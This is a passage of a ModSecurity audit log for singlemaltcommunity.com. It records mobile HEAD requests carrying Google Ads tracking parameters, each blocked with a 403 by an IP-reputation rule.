Stopwatch2: 1789273950921441 6798; combined=5133, p1=251, p2=4447, p3=77, p4=8, p5=350, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--04015434-Z--

--7aefd750-A--
[13/Sep/2026:07:32:31.284980 +0300] aqYnX0wu1RSkptiiNIXwEwAAAIw 95.134.102.76 56072 127.0.0.1 7081
--7aefd750-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--7aefd750-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7aefd750-E--

--7aefd750-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273951274989 10090 (- - -)
Stopwatch2: 1789273951274989 10090; combined=7602, p1=419, p2=6422, p3=98, p4=10, p5=653, sr=207, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7aefd750-Z--

--a89db76d-A--
[13/Sep/2026:07:32:43.800986 +0300] aqYna2M7dE9KgIIOpQhiogAAAMs 95.134.102.127 56458 127.0.0.1 7081
--a89db76d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.127
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--a89db76d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a89db76d-E--

--a89db76d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273963793300 7735 (- - -)
Stopwatch2: 1789273963793300 7735; combined=5244, p1=304, p2=4526, p3=75, p4=8, p5=331, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a89db76d-Z--

--d5e08b69-A--
[13/Sep/2026:07:32:44.233222 +0300] aqYnbEwu1RSkptiiNIXwFAAAAJg 151.243.174.221 56488 127.0.0.1 7081
--d5e08b69-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.221
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--d5e08b69-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d5e08b69-E--

--d5e08b69-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273964227387 5874 (- - -)
Stopwatch2: 1789273964227387 5874; combined=4404, p1=281, p2=3756, p3=78, p4=7, p5=282, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d5e08b69-Z--

--03426f1b-A--
[13/Sep/2026:07:32:44.644506 +0300] aqYnbEwu1RSkptiiNIXwFQAAAJY 151.243.174.182 56500 127.0.0.1 7081
--03426f1b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.182
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--03426f1b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--03426f1b-E--

--03426f1b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273964638194 6370 (- - -)
Stopwatch2: 1789273964638194 6370; combined=4774, p1=262, p2=4170, p3=68, p4=7, p5=267, sr=113, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--03426f1b-Z--

--46f6181b-A--
[13/Sep/2026:07:33:06.997418 +0300] aqYngmM7dE9KgIIOpQhiqgAAAMU 151.243.174.182 54392 127.0.0.1 7081
--46f6181b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.182
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--46f6181b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--46f6181b-E--

--46f6181b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273986989588 7874 (- - -)
Stopwatch2: 1789273986989588 7874; combined=5384, p1=366, p2=4632, p3=76, p4=7, p5=302, sr=127, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--46f6181b-Z--

--15e7e813-A--
[13/Sep/2026:07:33:07.453749 +0300] aqYng2M7dE9KgIIOpQhiqwAAAMA 95.134.102.25 54402 127.0.0.1 7081
--15e7e813-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--15e7e813-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--15e7e813-E--

--15e7e813-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273987440236 13556 (- - -)
Stopwatch2: 1789273987440236 13556; combined=7702, p1=1860, p2=4762, p3=82, p4=8, p5=989, sr=176, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--15e7e813-Z--

--99cb4e4e-A--
[13/Sep/2026:07:33:11.400060 +0300] aqYnh2M7dE9KgIIOpQhirQAAANE 151.243.174.109 54432 127.0.0.1 7081
--99cb4e4e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--99cb4e4e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--99cb4e4e-E--

--99cb4e4e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273991394335 5786 (- - -)
Stopwatch2: 1789273991394335 5786; combined=4125, p1=216, p2=3578, p3=78, p4=7, p5=246, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--99cb4e4e-Z--

--e827f46c-A--
[13/Sep/2026:07:33:11.518066 +0300] aqYnh2M7dE9KgIIOpQhirgAAAMs 151.243.174.182 54446 127.0.0.1 7081
--e827f46c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.182
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e827f46c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e827f46c-E--

--e827f46c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273991512358 5748 (- - -)
Stopwatch2: 1789273991512358 5748; combined=4299, p1=253, p2=3694, p3=100, p4=8, p5=244, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e827f46c-Z--

--6fff4b6c-A--
[13/Sep/2026:07:33:11.995920 +0300] aqYnh2M7dE9KgIIOpQhirwAAANQ 95.134.102.235 54452 127.0.0.1 7081
--6fff4b6c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.235
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--6fff4b6c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6fff4b6c-E--

--6fff4b6c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273991989048 6915 (- - -)
Stopwatch2: 1789273991989048 6915; combined=5354, p1=227, p2=4661, p3=74, p4=8, p5=383, sr=97, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6fff4b6c-Z--

--af722949-A--
[13/Sep/2026:07:33:19.996678 +0300] aqYnj0wu1RSkptiiNIXwGAAAAIM 45.91.4.90 39406 127.0.0.1 7081
--af722949-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.90
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--af722949-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--af722949-E--

--af722949-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273999988851 7887 (- - -)
Stopwatch2: 1789273999988851 7887; combined=5402, p1=397, p2=4540, p3=119, p4=9, p5=337, sr=168, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--af722949-Z--

--569b150e-A--
[13/Sep/2026:07:33:20.392593 +0300] aqYnkEwu1RSkptiiNIXwGQAAAIc 209.101.128.233 39420 127.0.0.1 7081
--569b150e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.233
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--569b150e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--569b150e-E--

--569b150e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274000374342 18379 (- - -)
Stopwatch2: 1789274000374342 18379; combined=15437, p1=503, p2=14328, p3=128, p4=11, p5=466, sr=275, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--569b150e-Z--

--f84fbf08-A--
[13/Sep/2026:07:33:20.709198 +0300] aqYnkEwu1RSkptiiNIXwGgAAAJA 209.101.128.10 39436 127.0.0.1 7081
--f84fbf08-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.10
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f84fbf08-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f84fbf08-E--

--f84fbf08-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274000701876 7381 (- - -)
Stopwatch2: 1789274000701876 7381; combined=4963, p1=810, p2=3722, p3=109, p4=7, p5=315, sr=122, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f84fbf08-Z--

--96663c32-A--
[13/Sep/2026:07:33:32.206219 +0300] aqYnnDTJ6xTvcJoem7f2mQAAAFg 95.134.102.147 32800 127.0.0.1 7081
--96663c32-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--96663c32-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--96663c32-E--

--96663c32-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274012193456 12825 (- - -)
Stopwatch2: 1789274012193456 12825; combined=5655, p1=423, p2=4810, p3=111, p4=9, p5=302, sr=203, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--96663c32-Z--

--6e634c24-A--
[13/Sep/2026:07:33:32.311725 +0300] aqYnnEwu1RSkptiiNIXwIAAAAIg 151.243.174.142 32816 127.0.0.1 7081
--6e634c24-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6e634c24-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6e634c24-E--

--6e634c24-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274012300940 10878 (- - -)
Stopwatch2: 1789274012300940 10878; combined=8270, p1=398, p2=7067, p3=254, p4=11, p5=539, sr=168, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6e634c24-Z--

--7f807f33-A--
[13/Sep/2026:07:34:01.049395 +0300] aqYnuWM7dE9KgIIOpQhiwQAAANI 209.101.128.28 34392 127.0.0.1 7081
--7f807f33-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.28
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--7f807f33-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7f807f33-E--

--7f807f33-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274041037513 11939 (- - -)
Stopwatch2: 1789274041037513 11939; combined=8071, p1=1716, p2=5824, p3=209, p4=10, p5=311, sr=243, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7f807f33-Z--

--466bba60-A--
[13/Sep/2026:07:34:01.344494 +0300] aqYnuUwu1RSkptiiNIXwIwAAAIU 209.101.128.211 34408 127.0.0.1 7081
--466bba60-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.211
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--466bba60-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--466bba60-E--

--466bba60-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274041336241 8322 (- - -)
Stopwatch2: 1789274041336241 8322; combined=6161, p1=345, p2=5368, p3=84, p4=8, p5=356, sr=168, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--466bba60-Z--

--ea39cc08-A--
[13/Sep/2026:07:34:21.567756 +0300] aqYnzWM7dE9KgIIOpQhixQAAANg 95.134.102.220 60102 127.0.0.1 7081
--ea39cc08-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.220
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--ea39cc08-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ea39cc08-E--

--ea39cc08-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274061560792 7019 (- - -)
Stopwatch2: 1789274061560792 7019; combined=5144, p1=356, p2=4402, p3=75, p4=8, p5=303, sr=165, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ea39cc08-Z--

--5ece7841-A--
[13/Sep/2026:07:34:21.942219 +0300] aqYnzTTJ6xTvcJoem7f2mgAAAEM 151.243.174.149 60104 127.0.0.1 7081
--5ece7841-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.149
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--5ece7841-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5ece7841-E--

--5ece7841-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274061933844 8417 (- - -)
Stopwatch2: 1789274061933844 8417; combined=6380, p1=362, p2=5544, p3=101, p4=63, p5=310, sr=145, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5ece7841-Z--

--94cd6131-A--
[13/Sep/2026:07:34:22.048488 +0300] aqYnzkwu1RSkptiiNIXwJAAAAIo 151.243.174.142 60116 127.0.0.1 7081
--94cd6131-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
